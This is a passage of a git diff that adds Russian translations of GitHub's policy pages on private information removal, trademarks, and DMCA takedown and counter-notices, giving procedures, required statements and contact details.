касается ли ваш запрос только личной информации или касается и других юридических вопросов, проконсультируйтесь с юристом. + +**Время обработки.** Хотя мы обрабатываем запросы на удаление личной информации так быстро, насколько это возможно, но из-за большого количества запросов, которые мы обрабатываем, рассмотрение вашего запроса может занять некоторое время. Дополнительные запросы или несколько запросов от дополнительных контактных лиц могут привести к задержкам. + +## Как это на самом деле работает? + +1. **Жалоба расследуется заявителем.** Запрашивающая сторона должна провести собственное расследование и предоставить нам [детали, которые нам нужны,](#your-request-must-include) — самое главное, объяснение того, почему данные представляют угрозу безопасности. GitHub не имеет права искать или принимать первоначальные решения в отношении личной информации от имени какого-либо лица или организации. + +2. **Заявитель отправляет запрос на удаление личной информации.** После проведения расследования заявитель подготавливает и [отправляет запрос на удаление личной информации](#sending-a-private-information-removal-request) на GitHub. Если запрос недостаточно подробен, то чтобы продемонстрировать угрозу безопасности и чтобы GitHub смог найти данные, в своем ответе мы попросим предоставить дополнительную информацию. + +3. **GitHub просит пользователя внести изменения.** В большинстве случаев мы свяжемся с пользователем, создавшим репозиторий, и предоставим ему возможность удалить или изменить личную информацию, указанную в запросе, либо оспорить претензию. + +4. **Пользователь уведомляет GitHub об изменениях.** Если пользователь решит внести указанные изменения, он должен сообщить нам об этом в течение отведенного ему времени. Если он этого не сделает, мы отключим репозиторий. Если пользователь уведомит нас о внесении изменений, мы проверим, были ли внесены изменения, а затем уведомим заявителя. + + ИЛИ + +5. **Пользователь может оспорить запрос.** Если пользователь считает, что рассматриваемый контент не является личной информацией, подпадающей под действие настоящей Политики, он может оспорить его. В этом случае мы, как правило, оставляем заявителю возможность связаться с пользователем и решить вопрос напрямую с ним в пределах разумного. + +6. **Заявитель рассматривает изменения.** Если пользователь вносит изменения, заявитель должен их просмотреть. Если изменений недостаточно, то заявитель должен предоставить GitHub подробную информацию с объяснением причин. GitHub может отключить репозиторий или предоставить пользователю дополнительную возможность внести изменения. + +7. **Пользователь может запросить дополнительное время для внесения изменений.** Если пользователь упустил возможность удалить личную информацию, указанную в уведомлении, мы можем предоставить ему дополнительное время примерно 1 рабочий день по запросу для внесения этих изменений. В этом случае GitHub уведомит заявителя. + +### Что насчет «вилок»? (или Что такое «вилка»?) +Одной из лучших особенностей GitHub является возможность для пользователей «разветвлять» репозитории друг друга. Что это значит? По сути, это означает, что пользователи могут сделать копию проекта на GitHub в свои собственные репозитории. В соответствии с лицензией или законом пользователи могут затем вносить изменения в эту «вилку», чтобы либо вернуться к основному проекту, либо просто сохранить как свою собственную вариацию проекта. Каждая из этих копий является «[вилкой](/articles/github-glossary/#fork)» исходного репозитория, который, в свою очередь, также может называться «родителем вилки». + +GitHub не будет автоматически отключать «вилки» при отключении родительского репозитория. Это связано с тем, что «вилки» принадлежат разным пользователям и могут быть существенно изменены. GitHub не проводит никаких независимых расследований «вилок». Мы ожидаем, что те, кто отправляет запросы на удаление личной информации, проведут это расследование и, если они сочтут, что «вилки» также содержат личную информацию, прямо включат «вилки» в свой запрос. + +Если на момент отправки уведомления вы определили все существующие «вилки» этого репозитория, мы обработаем обоснованную претензию против всех «вилок» в этой сети на момент обработки уведомления. Мы бы сделали это, учитывая вероятность того, что все вновь созданные «вилки» будут содержать один и тот же контент. Кроме того, если заявленная сеть, которая содержит указанный контент, превышает сто (100) репозиториев и, таким образом, будет трудно проверить ее целиком, мы можем рассмотреть возможность отключения всей сети, если вы укажете в своем уведомлении, что на основании относительно репрезентативного количества «вилок», которые вы рассмотрели, вы считаете, что все или большинство содержат тот же контент, что и родительский репозиторий. + +## Отправка запроса на удаление личной информации + +Учитывая тип контента GitHub (в основном программный код) и способ управления этим контентом (с помощью Git), нам необходимо, чтобы жалобы были как можно более конкретными. Для того чтобы проверить, что пользователь полностью удалил личную информацию, нам нужно знать, где именно ее искать. + +Эти рекомендации предназначены для того, чтобы максимально упростить обработку запросов на удаление личной информации. + +### Ваш запрос должен включать: + +1. рабочую ссылку на каждый файл, содержащий личную информацию. (Обратите внимание, что мы не можем работать с результатами поиска, примерами или снимками экрана). +2. конкретные номера строк в каждом файле, содержащем личную информацию. +3. краткое описание того, каким образом каждый выявленный вами элемент представляет риск безопасности для вас или вашей организации. ***Важно, чтобы вы предоставили объяснение того, каким образом данные представляют риск для безопасности, а не просто заявили, что это так.*** +4. Если вы являетесь третьим лицом, выступающим в качестве агента организации, сталкивающейся с угрозой безопасности, включите заявление о том, что у вас есть законное право действовать от имени этой организации. +5. ДОПОЛНИТЕЛЬНО: Сообщите нам, если ваш запрос особо срочный и объясните почему. Мы отвечаем на все запросы на удаление личной информации в максимально сжатые сроки. Однако, если этот запрос особенно критичен ко времени, например в случае недавнего раскрытия учетных данных, пожалуйста, объясните, почему это так важно. + +## Как отправить запрос + +Вы можете отправить запрос на удаление личной информации через нашу [Форму обратной связи](https://support.github.com/contact?tags=docs-private-information). Пожалуйста, включите версию вашего запроса в виде обычного текста непосредственно в сообщении. Отправка вашего запроса во вложении может привести к задержке обработки. + +## Споры + +Если вы получили от нас запрос на удаление личной информации, вы можете оспорить его, ответив на наше электронное письмо и сообщив нам — как можно более подробно — почему вы считаете, что рассматриваемый контент не является личной информацией, подпадающей под действие настоящей Политики. diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/github-trademark-policy.md b/translations/ru-RU/content/site-policy/content-removal-policies/github-trademark-policy.md new file mode 100644 index 000000000000..9ccd80cf4da2 --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/github-trademark-policy.md @@ -0,0 +1,59 @@ +--- +title: Политика GitHub в отношении товарных знаков +redirect_from: + - /articles/github-trademark-policy + - /github/site-policy/github-trademark-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 289a04f894172d8adcaf0c32fe129efb524d8941 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556721' +--- +## Что такое нарушение политики GitHub в отношении товарных знаков? + +Использование названия компании или предприятия, логотипа или других материалов, защищенных товарными знаками, таким образом, который может ввести в заблуждение или запутать других в отношении их бренда или деловой принадлежности, может считаться нарушением политики в отношении товарных знаков. + +## Что не является нарушением политики GitHub в отношении товарных знаков? + +Использование чужого товарного знака способом, не имеющим никакого отношения к товару или услуге, для которых был предоставлен товарный знак, не является нарушением политики в отношении товарных знаков. Имена пользователей GitHub предоставляются в порядке поступления и не могут быть зарезервированы. Учетная запись на GitHub с именем пользователя, совпадающим с охраняемым товарным знаком, сама по себе не обязательно является нарушением нашей политики в отношении товарных знаков. + +## Как GitHub реагирует на сообщения о нарушениях политики в отношении товарных знаков? + +Когда мы получаем сообщения о нарушениях политики в отношении товарных знаков от держателей федеральных или международных регистрационных записей на товарные знаки, мы проверяем учетную запись и можем предпринять следующие действия: + +* При наличии явного намерения ввести других в заблуждение посредством несанкционированного использования товарного знака GitHub приостановит действие учетной записи и уведомит владельца учетной записи. +* Если мы определяем, что учетная запись вводит пользователей в заблуждение, но намеренно не выдает себя за товар или услугу, защищенные товарным знаком, мы даем владельцу учетной записи возможность устранить любую возможную путаницу. Мы также можем предоставить имя пользователя для активного использования владельцем товарного знака. + +## Как сообщить о нарушении политики в отношении товарных знаков? + +Владельцы охраняемых товарных знаков могут сообщать GitHub о возможных нарушениях политики в отношении товарных знаков через нашу [Форму обратной связи](https://support.github.com/contact?tags=docs-trademark). Отправьте запросы, связанные с товарными знаками, используя адрес электронной почты вашей компании, и включите всю запрашиваемую ниже информацию, чтобы ускорить наш ответ. Также обязательно четко опишите нам, почему учетная запись может вызвать путаницу с вашим знаком или как учетная запись может ослабить или опорочить ваш знак. + +## Какая информация требуется при сообщении о нарушениях политики в отношении товарных знаков? + +Для расследования нарушений политики в отношении товарных знаков просьба предоставить всю следующую информацию: + +* имя пользователя учетной записи, о которой сообщается; +* название вашей компании; +* учетная запись вашей компании на GitHub (если есть); +* веб-сайт компании; +* ваше слово, символ и т. д., защищенные товарным знаком; +* регистрационный номер товарного знака; +* бюро регистрации товарных знаков (например, USPTO); +* описание злоупотребления (например, выдача себя за вашу компанию, включая конкретные описания контента или поведения); +* запрашиваемое действие (например, удаление нарушающей учетной записи или перенос защищенного товарным знаком имени пользователя в существующую учетную запись компании). +* следующее заявление: «Я добросовестно полагаю, что использование вышеописанного товарного знака не разрешено владельцем товарного знака, его агентом или законом. Я принял(-а) во внимание номинальное и другие виды добросовестного использования». +* Кроме того, включите следующее заявление: «Я клянусь под страхом наказания за лжесвидетельство, что информация в этом уведомлении является точной и что я являюсь владельцем товарного знака или уполномочен действовать от имени владельца исключительного права, которое предположительно нарушено». +* Поставьте свою физическую или электронную подпись. + +* Примечание. Требуется федеральный или международный регистрационный номер товарного знака. Если имя, о котором вы сообщаете, **не является** охраняемым товарным знаком (например, государственного учреждения или некоммерческой организации), пожалуйста, сообщите нам: + * ваше имя и фамилию; + * должность; + * адрес; + * номер телефона; + * адрес электронной почты (должна быть из домена компании). diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md b/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md new file mode 100644 index 000000000000..1d0e25ff7e36 --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md @@ -0,0 +1,88 @@ +--- +title: Руководство по подаче встречного уведомления DMCA +redirect_from: + - /dmca-counter-notice-how-to + - /articles/dmca-counter-notice-how-to + - /articles/guide-to-submitting-a-dmca-counter-notice + - /github/site-policy/guide-to-submitting-a-dmca-counter-notice +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 6bc5091c47401b3d55ef7ccd681d6c9eba48fd1a +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556718' +--- +В этом руководстве описывается информация, необходимая GitHub для обработки встречного уведомления на запрос об изъятии контента DMCA. Если у вас есть еще общие вопросы о том, что такое DMCA или как GitHub обрабатывает запросы об изъятии контента DMCA, ознакомьтесь с нашей [Политикой изъятия контента DMCA](/articles/dmca-takedown-policy). + +Если вы считаете, что ваш контент на GitHub был ошибочно отключен из-за запроса об изъятии контента DMCA, вы имеете право оспорить изъятие, отправив встречное уведомление. В этом случае мы подождем 10–14 дней, а затем повторно включим ваш контент, если правообладатель не возбудит против вас судебный иск до этого. Наша форма встречного уведомления, представленная ниже, соответствует форме, предложенной уставом DMCA, которую можно найти на официальном сайте Бюро регистрации авторских прав США: . + +Как и во всех юридических вопросах, всегда лучше проконсультироваться с профессионалом по вашим конкретным вопросам или ситуации. Мы настоятельно рекомендуем вам сделать это, прежде чем предпринимать какие-либо действия, которые могут повлиять на ваши права. Это руководство не является юридической консультацией и не должно восприниматься как таковое. + +## Перед началом работы + +***Говорите правду.*** +DMCA требует, чтобы вы присягнули при составлении встречного уведомления *под страхом наказания за лжесвидетельство*. Умышленная ложь в заявлении под присягой является федеральным преступлением. (*См.* [Кодекс США, раздел 18, Статья 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)). Предоставление ложной информации может также привести к гражданской ответственности, то есть вам могут предъявить иск о возмещении денежного ущерба. + +***Проведите расследование.*** +Подача встречного уведомления DMCA может иметь реальные юридические последствия. Если сторона, подавшая жалобу, не согласится с тем, что ее уведомление об изъятии контента было ошибочным, она может принять решение подать иск против вас, чтобы оставить контент отключенным. Вам следует провести тщательное расследование утверждений, содержащихся в уведомлении об изъятии контента, и, возможно, проконсультироваться с юристом, прежде чем подавать встречное уведомление. + +***У вас должна быть веская причина для подачи встречного уведомления.*** +Чтобы подать встречное уведомление, вы должны «добросовестно полагать, что материал был удален или отключен в результате ошибки или неправильной идентификации материала, подлежащего удалению или отключению». ([Кодекс США, раздел 17, статья 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Будете ли вы объяснять, почему вы считаете, что произошла ошибка, зависит от вас и вашего адвоката, но вам *обязательно* нужно выявить ошибку до подачи встречного уведомления. В прошлом мы получали встречные уведомления, в которых стороны ссылались на такие ошибки в уведомлении на изъятие контента, как: сторона, подавшая жалобу, не имеет авторских прав; у меня есть лицензия; код выпущен под лицензией с открытым исходным кодом, которая разрешает мне его использование; или жалоба не учитывает тот факт, что мое использование защищено доктриной добросовестного использования. Конечно, могут быть и другие недостатки уведомления об изъятии контента. + +***Законы об авторском праве сложны.*** +Иногда в уведомлении об изъятии контента может быть заявлено о нарушении, которое может показаться странным или косвенным. Законы об авторском праве сложны и могут привести к неожиданным результатам. В некоторых случаях в уведомлении об изъятии контента может утверждаться, что ваш исходный код нарушает авторские права из-за того, что он может делать после компиляции и запуска. Пример: + - В уведомлении может быть заявлено, что ваше программное обеспечение используется для [обхода контроля доступа](https://www.copyright.gov/title17/92chap12.html) к материалам, защищенным авторским правом. + - [Иногда](https://www.copyright.gov/docs/mgm/) распространение программного обеспечения может быть нарушением авторских прав, если вы побуждаете конечных пользователей использовать программное обеспечение для нарушения авторских прав. + - Жалоба на нарушение авторских прав может быть также основана на [небуквальном копировании](https://en.wikipedia.org/wiki/Substantial_similarity) элементов дизайна в программном обеспечении, а не самого исходного кода — другими словами, кто-то прислал уведомление о том, что считает ваш *дизайн* слишком похожим на свой. + +Это лишь несколько примеров сложности законодательства об авторском праве. Поскольку в подобных делах есть много нюансов в законодательстве и нерешенных вопросов, особенно важно получить профессиональную консультацию, если обвинения в нарушении кажутся непростыми. + +***Встречное уведомление является юридическим заявлением.*** +Мы требуем, чтобы вы полностью заполнили все поля встречного уведомления, потому что встречное уведомление является юридическим заявлением не только для нас, но и для стороны, подавшей жалобу. Как мы уже упоминали выше, если сторона, подавшая жалобу, желает сохранить отключенный контент после получения встречного уведомления, ей придется инициировать судебное разбирательство с целью получения судебного постановления о запрете вам заниматься нарушающей права деятельностью, связанной с контентом на GitHub. Другими словами, на вас могут подать в суд (и вы соглашаетесь на это во встречном уведомлении). + +***Ваше встречное уведомление будет опубликовано.*** +Как отмечается в нашей [Политике изъятия контента DMCA](/articles/dmca-takedown-policy#d-transparency), **после редактирования персональных данных** мы публикуем все полные и действенные встречные уведомления на сайте . Обратите также внимание, что, хотя мы будем публично обнародовать только отредактированные уведомления, мы можем предоставить полную неотредактированную копию любых полученных нами уведомлений непосредственно любой стороне, чьи права будут затронуты ими. Если вы беспокоитесь о неприкосновенности своей частной жизни, вы можете попросить адвоката или другого законного представителя подать встречное уведомление от вашего имени. + +***GitHub не исполняет функции судьи.*** +GitHub не проявляет особой свободы действий в этом процессе, кроме определения соответствия уведомлений минимальным требованиям DMCA. Стороны (и их адвокаты) должны сами оценить обоснованность своих претензий, помня о том, что уведомления отправляются под угрозой наказания за лжесвидетельство. + +***Дополнительные ресурсы.*** +Если вам нужна дополнительная помощь, в интернете есть множество ресурсов для самостоятельного изучения. У Lumen есть информативный набор руководств по [Авторским правам](https://www.lumendatabase.org/topics/5) и [«безопасной гавани» DMCA](https://www.lumendatabase.org/topics/14). Если вы участвуете в проекте с открытым исходным кодом и нуждаетесь в юридической консультации, вы можете связаться с [Юридическим центром свободы программного обеспечения](https://www.softwarefreedom.org/about/contact/). И если вы считаете, что у вас особенно сложный случай, некоммерческие организации, такие как [Фонд борьбы с нарушением конфиденциальности и гражданских свобод с помощью электронных технологий](https://www.eff.org/pages/legal-assistance), также могут помочь напрямую или направить вас к адвокату. + +## Ваше встречное уведомление должно... + +1. **содержать следующее заявление: «Я прочитал(-а) и понял(-а) Руководство GitHub по подаче встречного уведомления DMCA».** +Мы не откажемся обрабатывать полное встречное уведомление, если вы не включите это заявление; однако мы будем знать, что вы не читали эти рекомендации, и можем попросить вас вернуться и сделать это. + +2. ***содержать информацию о контенте, который был отключен, и месте, где он появился.*** +Отключенный контент должен был быть идентифицирован по URL-адресу в уведомлении об изъятии контента. Вам нужно просто скопировать URL-адреса, которые вы хотите оспорить. + +3. **содержать вашу контактную информацию.** +Укажите свой адрес электронной почты, имя, номер телефона и физический адрес. + +4. ***содержать следующее заявление: «Я клянусь, под страхом наказания за лжесвидетельство, что у меня есть добросовестное убеждение, что материал был удален или отключен в результате ошибки или неправильной идентификации материала, подлежащего удалению или отключению».*** +Вы также можете указать причины, по которым, по вашему мнению, произошла ошибка или неверная идентификация. Если вы думаете о своем встречном уведомлении как о «примечании» для стороны, подавшей жалобу, это шанс объяснить, почему они не должны делать следующий шаг и подавать иск в ответ. Это еще одна причина обратиться к юристу при подаче встречного уведомления. + +5. ***содержать следующее заявление: «Я согласен(-на) на юрисдикцию Федерального окружного суда по судебному округу, в котором находится мой адрес (если в США, то в Северном округе Калифорнии, где находится GitHub), и я приму судебную повестку от лица, предоставившего уведомление DMCA, или агента такого лица».*** + +6. **включать вашу физическую или электронную подпись.** + +## Как отправить встречное уведомление + +Самый быстрый способ получить ответ — ввести свои данные и ответить на все вопросы на нашей странице {% data variables.contact.contact_dmca %}. + +Вы также можете отправить уведомление по электронной почте на адрес . Вы можете включить вложение, если хотите, но, пожалуйста, также включите текстовую версию вашего письма в тело вашего сообщения. + +Если вы должны отправить свое уведомление по обычной почте, вы также можете сделать это, но его получение и ответ на него займут у нас *существенно* больше времени, и период ожидания 10–14 дней начнется с того момента, когда мы *получим* ваше встречное уведомление. Уведомления, которые мы получаем по электронной почте в виде простого текста, обрабатываются гораздо быстрее, чем вложения в формате PDF или по обычной почте. Если вы все еще хотите отправить нам свое уведомление по почте, наш физический адрес: + +``` +GitHub, Inc +Attn: DMCA Agent +88 Colin P Kelly Jr St +San Francisco, CA. 94107 +``` diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md b/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md new file mode 100644 index 000000000000..07a46015197b --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md @@ -0,0 +1,100 @@ +--- +title: Руководство по подаче уведомления об изъятии контента DMCA +redirect_from: + - /dmca-notice-how-to + - /articles/dmca-notice-how-to + - /articles/guide-to-submitting-a-dmca-takedown-notice + - /github/site-policy/guide-to-submitting-a-dmca-takedown-notice +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: c664d164136504f695a3954b03b01e0d47191eab +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556712' +--- +В этом руководстве описывается информация, необходимая GitHub для обработки уведомления об изъятии контента DMCA. Если у вас есть еще общие вопросы о том, что такое DMCA или как GitHub обрабатывает запросы об изъятии контента DMCA, ознакомьтесь с нашей [Политикой изъятия контента DMCA](/articles/dmca-takedown-policy). + +Учитывая тип контента GitHub (в основном программный код) и способ управления этим контентом (с помощью Git), нам необходимо, чтобы жалобы были как можно более конкретными. Эти рекомендации предназначены для максимально простой обработки уведомлений о предполагаемых нарушениях. Наша форма запроса, представленная ниже, соответствует форме, предложенной уставом DMCA, которую можно найти на официальном сайте Бюро регистрации авторских прав США: . + +Как и во всех юридических вопросах, всегда лучше проконсультироваться с профессионалом по вашим конкретным вопросам или ситуации. Мы настоятельно рекомендуем вам сделать это, прежде чем предпринимать какие-либо действия, которые могут повлиять на ваши права. Это руководство не является юридической консультацией и не должно восприниматься как таковое. + +## Перед началом работы + +***Говорите правду.** _ DMCA требует, чтобы вы под угрозой наказания за лжесвидетельство подтвердили факты, изложенные в вашей жалобе об авторском праве *. Умышленная ложь в заявлении под присягой является федеральным преступлением. (* См.* [Кодекс США, раздел 18, Статья 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)). Предоставление ложной информации может также привести к гражданской ответственности, то есть вам могут предъявить иск о возмещении денежного ущерба. Сам DMCA [предусматривает возмещение убытков](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) любому лицу, которое сознательно существенно искажает информацию о том, что материал или деятельность нарушают авторские права. + +***Проведите расследование.*** Миллионы пользователей и организаций вкладывают свои сердца и души в проекты, которые они создают на GitHub. Подача жалобы DMCA против такого проекта — это серьезное юридическое обвинение, которое влечет за собой реальные последствия для реальных людей. В связи с этим мы просим вас провести тщательное расследование и проконсультироваться с юристом, прежде чем подавать заявку на удаление, чтобы убедиться, что использование на самом деле не является разрешенным. + +***Сначала спросите вежливо.*** Мы рекомендуем перед отправкой нам уведомления об изъятии контента данных связаться с пользователем напрямую. Возможно, он указал контактную информацию на своей публичной странице профиля или в файле README, или вы можете связаться с ним, открыв вопрос или запрос на включение изменений в репозитории. Это не является строго обязательным, но выдает в вас человека, знакомого с правилами хорошего тона. + +***Отправляйте правильный запрос.*** Мы можем принимать уведомления об изъятии контента DMCA только в отношении объектов, защищенных авторским правом, с указанием конкретного объекта авторского права. Если у вас есть жалоба на неправомерное использование товарного знака, см. нашу [политику в отношении товарных знаков](/articles/github-trademark-policy/). Если вы хотите удалить конфиденциальные данные, такие как пароли, см. нашу [политику в отношении конфиденциальных данных](/articles/github-sensitive-data-removal-policy/). Если вы столкнулись с клеветой или другим оскорбительным поведением, см. наши [Правила сообщества](/articles/github-community-guidelines/). + +***Код отличается от остального творческого контента.*** GitHub создан для совместной работы над программным кодом. Это делает идентификацию действительного нарушения авторских прав более сложной, чем это могло бы быть, скажем, для фотографий, музыки или видео. + +Есть ряд причин, по которым код отличается от остального творческого контента. Например: + +- Репозиторий может включать фрагменты кода от многих разных людей, но только один файл или даже подпрограмма внутри файла нарушает ваши авторские права. +- Код сочетает в себе функциональность и творческое самовыражение, но авторское право защищает только выразительные элементы, а не функциональные части. +- Часто приходится рассматривать лицензии. Тот факт, что фрагмент кода содержит уведомление об авторских правах, не обязательно означает, что он нарушает авторские права. Возможно, код используется в соответствии с лицензией с открытым исходным кодом. +- Конкретное использование может быть [добросовестным,](https://www.lumendatabase.org/topics/22) если оно использует лишь небольшой объем защищенного авторским правом контента, использует этот контент способом преобразования, использует его в образовательных целях или в какой-то комбинации из вышеперечисленного. Поскольку код естественным образом поддается такому использованию, каждый случай использования отличается и должен рассматриваться отдельно. +- Код может быть признан нарушающим авторские права различными способами, требующими подробных объяснений и идентификации объектов. + +Этот список не является исчерпывающим, поэтому при работе с кодом вдвойне важно проконсультироваться с юристом по поводу предполагаемой жалобы. + +***Никаких ботов.*** Вы должны иметь подготовленного специалиста для оценки фактов в каждом уведомлении об изъятии контента, который вы отправляете. Если вы передаете свои полномочия третьим лицам, убедитесь, что вы знаете, как они работают, и убедитесь, что они не используют автоматических ботов для массовой подачи жалоб. Эти жалобы часто недействительны, и их обработка приводит к бессмысленному закрытию проектов! + +***Вопросы защиты авторских прав трудны.*** Бывает очень сложно определить, защищена ли та или иная работа авторским правом. Например, факты (включая данные), как правило, не защищены авторским правом. Слова и короткие фразы, как правило, не охраняются авторским правом. URL-адреса и доменные имена, как правило, не защищены авторским правом. Поскольку вы можете использовать процесс DMCA только в отношении контента, защищенного авторским правом, вам следует обратиться к юристу, если у вас есть вопросы о том, защищен ли ваш контент. + +***Вы можете получить встречное уведомление.*** Любой пользователь, затронутый вашим уведомлением об изъятии контента, может решить отправить [встречное уведомление](/articles/guide-to-submitting-a-dmca-counter-notice). В этом случае мы снова включим их контент в течение 10–14 дней, если вы не уведомите нас о том, что вы инициировали судебный иск, направленный на то, чтобы удержать пользователя от участия в нарушении прав, связанных с контентом на GitHub. + +***Ваша жалоба будет опубликована.*** Как отмечается в нашей [Политике изъятия контента DMCA](/articles/dmca-takedown-policy#d-transparency), после редактирования персональных данных мы публикуем все полные и действенные встречные уведомления на сайте . + +***GitHub не исполняет функции судьи.*** +GitHub не проявляет особой свободы действий в этом процессе, кроме определения соответствия уведомлений минимальным требованиям DMCA. Стороны (и их адвокаты) должны сами оценить обоснованность своих претензий, помня о том, что уведомления отправляются под угрозой наказания за лжесвидетельство. + +## Ваша жалоба должна... + +1. **содержать следующее заявление: «Я прочитал(-а) и понял(-а) Руководство GitHub по подаче уведомления DMCA».** Мы не будем отказывать в рассмотрении полной жалобы, если вы не включите в нее это заявление. Но мы будем знать, что вы не читали эти рекомендации, и можем попросить вас вернуться и прочитать их. + +2. **содержать информацию о защищенном авторским правом объекте, права на который, по вашему мнению, были нарушены.** Эта информация важна, потому что она помогает пострадавшему пользователю оценить ваше заявление и дает ему возможность сравнить вашу работу со своей. Конкретность вашей идентификации будет зависеть от характера материала, который, по вашему мнению, стал предметом нарушения. Если вы опубликовали свой материал, вы можете просто сослаться на веб-страницу, где он находится. Если работа является собственностью и не опубликована, вы можете описать ее и объяснить, что она является собственностью. Если вы зарегистрировали ее в Бюро регистрации авторских прав, вы должны указать регистрационный номер. Если вы утверждаете, что размещенный контент является прямой, буквальной копией вашей работы, вы также можете просто объяснить этот факт. + +3. **содержать информацию о материале, который, как вы утверждаете, нарушает авторские права, перечисленные в пункте 2 выше.** Важно быть как можно более конкретным в своих показаниях. Эти сведения должны быть разумно достаточными для того, чтобы GitHub мог найти этот материал. Как минимум, это означает, что вы должны указать URL-адрес материала, предположительно нарушающего ваши авторские права. Если вы утверждаете, что не весь репозиторий нарушает авторские права, укажите конкретные файлы или номера строк в файле, которые, по вашему мнению, нарушают ваши права. Если вы утверждаете, что весь контент по URL-адресу нарушает авторские права, пожалуйста, четко укажите и это. + - Обратите внимание, что GitHub *не будет* автоматически отключать [«вилки»](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) при отключении родительского репозитория. Если вы изучили и проанализировали «вилки» репозитория и считаете, что они также нарушают авторские права, четко укажите каждую «вилку», предположительно нарушающую авторские права. Просьба также подтвердить, что вы расследовали каждый отдельный случай и что ваши заявления под присягой относятся к каждой выявленной «вилке». В редких случаях вы можете заявить о нарушении авторских прав в полном репозитории, который активно разветвляется. Если на момент отправки уведомления вы определили все существующие «вилки» этого репозитория как предположительно нарушающие авторские права, мы обработаем обоснованную претензию против всех «вилок» в этой сети на момент обработки уведомления. Мы бы сделали это, учитывая вероятность того, что все вновь созданные «вилки» будут содержать один и тот же контент. Кроме того, если заявленная сеть, которая содержит контент, предположительно нарушающий авторские права, превышает сто (100) репозиториев и, таким образом, будет трудно проверить ее целиком, мы можем рассмотреть возможность отключения всей сети, если вы укажете в своем уведомлении, что «на основании относительно репрезентативного количества «вилок», которые вы рассмотрели, я считаю, что все или большинство «вилок» нарушают авторские права в той же степени, что и родительский репозиторий». Ваше заявление под присягой будет распространяться на это заявление. + +4. **содержать объяснение, что пострадавший пользователь должен будет сделать, чтобы исправить нарушение.** Опять же, важна конкретика. Когда мы передадим вашу жалобу пользователю, он узнает, что ему нужно сделать, чтобы избежать отключения остального контента. Нужно ли пользователю просто добавить заявление об авторстве? Нужно ли им удалять определенные строки в коде или целые файлы? Конечно, мы понимаем, что в некоторых случаях весь пользовательский контент может быть обвинен в нарушении авторских прав, и они ничего не могут сделать, кроме как удалить его целиком. Если это так, пожалуйста, уточните и это. + +5. **содержать вашу контактную информацию.** Укажите свой адрес электронной почты, имя, номер телефона и физический адрес. + +6. **содержать контактную информацию предполагаемого нарушителя, если она вам известна.** Обычно для этого достаточно предоставить имя пользователя GitHub, связанное с предположительно нарушающим авторские права контентом. Но могут быть случаи, когда у вас есть дополнительные сведения о предполагаемом нарушителе. Если это так, пожалуйста, поделитесь этой информацией с нами. + +7. **содержать следующее заявление: «Я добросовестно полагаю, что использование защищенных авторским правом материалов, описанных выше, на веб-страницах, нарушающих авторские права, не разрешено владельцем авторских прав, его агентом или законом. Я принял(-а) во внимание добросовестное использование».** + +8. **содержать также следующее заявление: «Я клянусь под страхом наказания за лжесвидетельство, что информация в этом уведомлении является точной и что я являюсь владельцем авторских прав или уполномочен действовать от имени владельца исключительного права, которое предположительно нарушено».** + +9. **включать вашу физическую или электронную подпись.** + +## Жалобы на технологию защиты от обхода + +Закон об авторском праве также запрещает обход технологических мер, которые эффективно контролируют доступ к материалам, защищенным авторским правом. Если вы считаете, что контент, размещенный на GitHub, нарушает этот запрет, отправьте нам отчет через наш сайт {% data variables.contact.contact_dmca %}. Заявление об обходе должно включать следующие сведения о принятых технических мерах и способе, которым обвиняемый проект обходит их. В частности, уведомление для GitHub должно содержать подробные заявления, описывающие: +1. Какие имеются технические меры защиты; +2. Как они эффективно контролируют доступ к материалам, защищенным авторским правом; и +3. Каким образом рассматриваемый проект предназначен для обхода ранее описанных ими мер технологической защиты. + +## Как подать жалобу + +Самый быстрый способ получить ответ — ввести свои данные и ответить на все вопросы на нашей странице {% data variables.contact.contact_dmca %}. + +Вы также можете отправить уведомление по электронной почте на адрес . Вы можете включить вложение, если хотите, но, пожалуйста, также включите текстовую версию вашего письма в тело вашего сообщения. + +Если вы должны отправить свое уведомление по обычной почте, вы также можете сделать это, но его получение и ответ на него займут у нас *существенно* больше времени. Уведомления, которые мы получаем по электронной почте в виде простого текста, обрабатываются гораздо быстрее, чем вложения в формате PDF или по обычной почте. Если вы все еще хотите отправить нам свое уведомление по почте, наш физический адрес: + +``` +GitHub, Inc +Attn: DMCA Agent +88 Colin P Kelly Jr St +San Francisco, CA. 94107 +``` diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/index.md b/translations/ru-RU/content/site-policy/content-removal-policies/index.md new file mode 100644 index 000000000000..1e7533009232 --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/index.md @@ -0,0 +1,22 @@ +--- +title: Политика удаления контента +versions: + fpt: '*' +topics: + - Policy + 